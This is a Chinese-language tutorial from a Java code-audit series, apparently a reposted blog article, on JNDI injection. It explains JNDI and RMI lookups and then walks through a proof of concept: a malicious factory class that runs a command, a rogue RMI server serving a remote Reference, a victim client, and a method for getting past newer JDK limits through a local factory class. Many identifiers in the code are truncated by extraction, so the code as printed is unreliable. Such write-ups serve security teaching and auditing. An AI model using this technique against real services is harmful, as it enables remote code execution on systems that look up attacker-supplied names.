2023年6月25日发(作者:)
Java代码审计系列之JNDI注⼊0x01 前⾔在Java反序列化漏洞挖掘或利⽤的时候经常会遇到RMI、JNDI、JRMP这些概念,其中RMI是⼀个基于序列化的Java远程⽅法调⽤机制。作为⼀个常见的反序列化⼊⼝,它和反序列化漏洞有着千丝万缕的联系。除了直接攻击RMI服务接⼝外(⽐如:CVE-2017-3241),我们在构造反序列化漏洞利⽤时也可以结合RMI⽅便的实现远程代码执⾏。我们在之前的课程中说到过动态类的加载,⽽jndi注⼊就是利⽤动态类的加载来完成攻击的,在这之前,我们先来了解⼀下jndi注⼊的基础知识0x02 啥是jndiJNDI是 Java 命名与⽬录接⼝(Java Naming and Directory Interface),在J2EE规范中是重要的规范之⼀,有不少⼤佬可能认为,没有透彻理解JNDI的意义和作⽤,就没有真正掌握J2EE特别是EJB的知识。我们来举个常规的JDBC的例⼦Connection jdbcconn=null;
try {
e("");
jdbcconn=nection("jdbc:mysql://MyDBServer?user=xxx&password=xxx");
......
();
} catch(Exception e) {
tackTrace();
} finally {
if(jdbcconn!=null) {
try {
();
} catch(SQLException e) {
}
}这是常规的链接数据库的例⼦,也是其他语⾔程序员的常见做法。优点1. ⽆可厚⾮这种⽅法在⼩规模的开发过程中不会有任何影响,只要程序员熟悉Java和Mysql,就可以很快开发出相应的程序。缺点1、数据库服务器地址和名称 、⽤户名和⼝令都可能需要改变,由此引发JDBC URL需要修改;2、数据库可能改⽤别的产品,如改⽤DB2或者Oracle,引发JDBC驱动程序包和类名需要修改;3、随着实际使⽤终端的增加,原配置的连接池参数可能需要调整;如何解决在对于Java这种强抽象模式的编程语⾔来说,肯定不会允许这么LowB的存在,程序员不应该关注后台的数据库是啥,版本是多少。所以为了统⼀化管理,就诞⽣了JNDI0x03 使⽤JNDI在⼀开始很多⼈都会被jndi、rmi这些词汇搞的晕头转向,⽽且很多⽂章中提到了可以⽤jndi调⽤rmi,就更容易让⼈发昏了。我们只要知道jndi是对各种访问⽬录服务的逻辑进⾏了再封装,也就是以前我们访问rmi与ldap要写的代码差别很⼤,但是有了jndi这⼀层,我们就可以⽤jndi的⽅式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是⼀样的。image代码实现JNDI中有绑定和查找的⽅法:- bind:将第⼀个参数绑定到第⼆个参数的对象上⾯- lookup:通过提供的名称查找对象我们来举个例⼦:ckage ;import ;import Exception;public interface IHello extends Remote { public String SayHello(String name) throws RemoteException;}ckage ;import Exception;import tRemoteObject;public class IHelloImpl extends UnicastRemoteObject implements IHello { public IHelloImpl() throws RemoteException { super(); } @Override public String SayHello(String name) throws RemoteException { return "Hello " + name; }}ckage ;import t;import lContext;import Registry;import ry;import ties;public class CallService { public static void main(String[] args) throws Exception{ Properties env = new Properties(); (L_CONTEXT_FACTORY, "ryContextFactory"); (ER_URL, "rmi://localhost:1099"); Context ctx = new InitialContext(env); Registry registry = Registry(1099); IHello hello = new IHelloImpl(); ("hello", hello); IHello rhello = (IHello) ("rmi://localhost:1099/hello"); n(lo("fengxuan")); }}image由于上⾯的代码将服务端与客户端写到了⼀起,所以看着不那么清晰,我看到很多⽂章⾥吧JNDI⼯⼚初始化这⼀步操作划分到了服务端,我觉得是错误的,配置jndi⼯⼚与jndi的url和端⼝应该是客户端的事情。可以对⽐⼀下前⼏章的rmi demo与这⾥的jndi demo访问远程对象的区别,加深理解JNDI注⼊注⼊的原理我们来到JNDI注⼊的核⼼部分,关于JNDI注⼊,@pwntester在BlackHat上的讲义中写的已经很详细。我们这⾥重点讲⼀下和RMI反序列化相关的部分。接触过JNDI注⼊的同学可能会疑问,不应该是RMI服务器最终执⾏远程⽅法吗,为什么⽬标服务器lookup()⼀个恶意的RMI服务地址,会被执⾏恶意代码呢?在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定⼀个外部的远程对象(当前名称⽬录系统之外的对象)。绑定了Reference之后,服务端会先通过erence()获取绑定对象的引⽤,并且在⽬录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。整个利⽤流程如下:1. ⽬标代码中调⽤了(URI),且URI为⽤户可控;2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;3. 攻击者RMI服务器向⽬标返回⼀个Reference对象,Reference对象中指定某个精⼼构造的Factory类;4. ⽬标在进⾏lookup()操作时,会动态加载并实例化Factory类,接着调⽤ectInstance()获取外部远程对象实例;5. 攻击者可以在Factory类⽂件的构造⽅法、静态代码块、getObjectInstance()⽅法等处写⼊恶意代码,达到RCE的效果;在这⾥,攻击⽬标扮演的相当于是JNDI客户端的⾓⾊,攻击者通过搭建⼀个恶意的RMI服务端来实施攻击。我们跟⼊lookup()函数的代码中,可以看到JNDI中对Reference类的处理逻辑,最终会调⽤ectInstance():实战案例1. ⾸先创建⼀个恶意的对象package ;import ;import t;import edInputStream;import edReader;import ption;import treamReader;import p;public class BadObject { public static void exec(String cmd) throws IOException { String sb = ""; BufferedInputStream bufferedInputStream = new BufferedInputStream(time().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream)); String lineStr; while((lineStr = ne()) != null){ sb += lineStr+"n"; } (); (); } public Object getObjectInstance(Object obj, Name name, Context context, HashMap, ?> environment) throws Exception{ return null; } static { try{ exec("gnome-calculator"); }catch (Exception e){ tackTrace(); } }}可以看到这⾥利⽤的是static代码块执⾏命令2. 创建rmi服务端,绑定恶意的Reference到rmi注册表package ;import nceWrapper;import Exception;import nce;import yBoundException;import Exception;import Registry;import ry;public class Server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = Registry(1100); String url = "127.0.0.1:7777/"; n("Create RMI registry on port 1100"); Reference reference = new Reference("EvilObj", "EvilObj", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); ("evil", referenceWrapper); }}3. 创建⼀个客户端(受害者)package ;import t;import lContext;import Exception;public class Client { public static void main(String[] args) throws NamingException { Context context = new InitialContext(); ("rmi://localhost:1100/evil"); }}可以看到这⾥的lookup⽅法的参数是指向我设定的恶意rmi地址的。然后先编译该项⽬,⽣成class⽂件,然后在class⽂件⽬录下⽤python启动⼀个简单的HTTP Server:python -m SimpleHTTPServer 7777执⾏上述命令就会在7777端⼝、当前⽬录下运⾏⼀个HTTP Server:image然后运⾏Server端,启动rmi registry服务image如果是JDK1.7的版本,就可以运⾏成功imageJDK1.8 最后运⾏报错image⽽此时使⽤JNDI Server返回恶意Reference是可以成功利⽤的,因为JDK 8u191以后才对LDAP JNDI Reference进⾏了限制。Tips: 测试过程中有个细节,我们在JDK 8u102中使⽤RMI Server + JNDI Reference可以成功利⽤,⽽此时我们⼿⼯将 RLCodebase 等属性设置为false,并不会如预期⼀样有⾼版本JDK的限制效果出现,Payload依然可以利⽤。绕过⾼版本JDK限制:利⽤本地Class作为Reference Factory在⾼版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个⼯⼚类必须在受害⽬标本地的CLASSPATH中。⼯⼚类必须实现 Factory 接⼝,并且⾄少存在⼀个getObjectInstance() ⽅法。ctory 刚好满⾜条件并且存在被利⽤的可能。ctory 存在于Tomcat依赖包中,所以使⽤也是⾮常⼴泛。ctory 在 getObjectInstance() 中会通过反射的⽅式实例化Reference所指向的任意Bean Class,并且会调⽤setter⽅法为所有的属性赋值。⽽该Bean Class的类名、属性、属性值,全都来⾃于Reference对象,均是攻击者可控的。
发布者:admin,转转请注明出处:http://www.yc00.com/web/1687694926a32382.html
评论列表(0条)